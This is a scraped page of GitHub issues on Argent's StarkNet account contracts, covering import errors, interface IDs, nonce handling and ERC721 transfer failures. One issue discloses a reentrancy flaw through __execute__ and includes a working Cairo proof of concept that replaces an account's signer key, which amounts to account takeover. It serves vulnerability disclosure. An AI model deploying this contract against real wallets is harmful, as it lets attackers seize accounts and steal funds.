argentlabs / argent-contracts-starknet Goto Github PK

Since 0.10 we can check that a signature is valid without reverting.

See OpenZeppelin/cairo-contracts#523 for more details.

Seeing some module import errors in ./test/argent_account.py on cairo-lang 0.8.1

https://github.com/argentlabs/argent-contracts-starknet/blob/develop/test/argent_account.py

ImportError: cannot import name 'BlockInfo' from 'starkware.starknet.business_logic.state'

Verification in __execute__ is executed against tx_hash and signature. They don't change during transaction execution. This means a malicious contract called through __execute__ could take over the account by calling change_signer through __execute__. It can also pretend to be an account.

I think one solution would be to check if caller_address is 0.

Example

%lang starknet

from starkware.starknet.common.syscalls import call_contract, get_caller_address, get_tx_info, get_contract_address
from starkware.cairo.common.cairo_builtins import HashBuiltin, SignatureBuiltin

from starkware.cairo.common.alloc import alloc

const GET_NONCE = 756703644403488948674317127005533987569832834207225504298785384568821383277
const EXECUTE = 617075754465154585683856897856256838130216341506379215893724690153393808813
const CHANGE_SIGNER = 1540130945889430637313403138889853410180247761946478946165786566748520529557

@external
func not_so_honest_method{
        syscall_ptr : felt*,
        pedersen_ptr : HashBuiltin*,
        range_check_ptr
    }():
    alloc_locals
    let (caller) = get_caller_address()

    let (empty_calldata: felt*) = alloc()
    let res = call_contract(
        contract_address=caller,
        function_selector=GET_NONCE,
        calldata_size=0,
        calldata=empty_calldata,
    )
    let nonce = res.retdata[0]

    let (call_calldata: felt*) = alloc()

    # call_array
    assert call_calldata[0] = 1
    assert call_calldata[1] = caller
    assert call_calldata[2] = CHANGE_SIGNER
    assert call_calldata[3] = 0
    assert call_calldata[4] = 1

    # calldata
    assert call_calldata[5] = 1
    assert call_calldata[6] = 123 # new public key

    # nonce
    assert call_calldata[7] = nonce

    call_contract(
        contract_address=caller,
        function_selector=EXECUTE,
        calldata_size=8,
        calldata=call_calldata,
    )

    return ()
end

Same problem is present in OpenZeppelin's account: OpenZeppelin/cairo-contracts#344.

Hello, there is a problem for me with OutsideExecute, I've tried every way I can image, post here asking for some help, and in case some others have the same issue.
The problem is, it's ok running tests with devnet, I mean run the test with yarn mocha ./tests/accountOutsideExecution.test.ts, but each time I want use OutsideExecute in my code, the transaction will fail, you see it with error info on main chain https://voyager.online/tx/0x6864133ba5fcc17f744672a937fbcf410f8a67f45cad2a66ecca7cb38d32d1c

The code I am using, nearly copy from tests/accountOutsideExecution.test.ts

    // about how the account should be created, I tried:          
    //const account = new Account(this.provider, r.addr, r.pkStr, "1");
    //const caller = new Account(this.provider, A.addr, new ArgentSigner(new KeyPair(A.pkStr)), "1"); // (ArgentSigner and KeyPair are from tests/lib/signers.ts)
    public async testOutsideExec(sender: Account, sourceAccount: Account) {
        const testDapp:Contract = await loadContract(this.provider, "0x038722fa90fD597feba5aEe4b491b792DC4a061aDCf1F1e073a4e20C35aDF68d"); // 主网部署的TestDapp
        const transferCall = testDapp.populateTransaction.set_number(412);
        const outsideExecution: OutsideExecution = {
            caller: sender.address,
            nonce: randomKeyPair().publicKey,
            execute_after: 0,
            execute_before: 1786859559,
            calls: [getOutsideCall(transferCall)],
        };
        const outsideExecutionCall = await getOutsideExecutionCall(outsideExecution, sourceAccount.address, sourceAccount.signer);
        const originTx = await sender.execute(outsideExecutionCall, undefined)
        return originTx;
    }

I used [email protected]/[email protected] and also tried rpc version v06/v05, both failed.

If you need more info, pls let me know, any help would be appreciated

Use Cairo's hash_state to compute the message hash to follow OpenZeppelin/cairo-contracts#49 .

Need to make sure there is a JS implementation of hash_state first so that dapps/wallets written in JS can interact with the account.

Jus as there is no need to pass this, nonce can also be omitted from execute arguments, since the contract already knows what's the only valid nonce. Maybe this changes in the future if Cairo implements revert messages, then we could do something like:

assert nonce = current_nonce, "Invalid nonce"

until that, there is no reason to have a nonce parameter.

It looks like the account identifier supported by ArgentX accounts are currently the old one "0xf10dbd44", it has been updated to "0xa66bd575" (since 0.10 I think or before) in OZ contracts.

Based on this, it makes some OZ contracts (at least ERC-1155) not usable with ArgentX accounts.

A similar issue #85 has been opened and closed about ERC-721.
A discussion has also been created on OZ repo.

Not sure if it is already known or not by ArgentX team.

Storage variables should be pre-prended with the name of the module to avoid conflicts. For example the signer of an account should be declared as:

@storage_var
func Account_signer() -> (res: felt):
end

instead of

@storage_var
func _signer() -> (res: felt):
end

However, doing that now would require a migration to update the storage of already deployed accounts.

This should be done when migrating contracts after the state reset.

Same issue as reported here: OpenZeppelin/cairo-contracts#471

To enable simulation and fee estimation, QUERY_VERSION (which is equal to 2**128 + TRANSACTION_VERSION) should be allowed in this line, not just TRANSACTION_VERSION:

In #61, __validate_deploy__ was added to the IAccount interface. It should be removed as agreed offline. Instead, the interface ID should be set to 0xa66bd575 as discussed.

I am trying to use the OpenZeppelin contract to deploy an ERC721 token, but when I try to use the safeMint function with an Argent-X wallet, I get the error "ERC721: transfer to non ERC721Receiver implementer".

https://github.com/OpenZeppelin/cairo-contracts/blob/dbb1a3d1b4122c3f12aa639fba3587099be87923/src/openzeppelin/token/erc721/library.cairo#L453

According to the documentation, this error occurs when the recipient contract does not support the IERC721Receiver interface (magic value 0x150b7a02).

The documentation also states that if the recipient contract supports the IAccount interface, safeTransferFrom should still succeed. However, in my case, safeTransferFrom is failing.

https://github.com/OpenZeppelin/cairo-contracts/blob/e0e07555b319d8131a35259b55269ba7b19e744e/docs/modules/ROOT/pages/erc721.adoc#erc721received

Is there a way to resolve this issue and successfully transfer the ERC721 token to an Argent-X wallet using the OpenZeppelin contract?

What do you think of making all user calls go through execute, even if they're account operations. Like this. That way, you don't have to reimplement signature validation, nonce management, etc. It's leaner and also suggest a single and simple entrypoint for all user interactions.

Then you can do something like this:

await signer.send_transaction(account, account.contract_address, 'set_L1_address', [ANOTHER_ADDRESS])

I was wondering where I could find the contract address on starknet mainnet?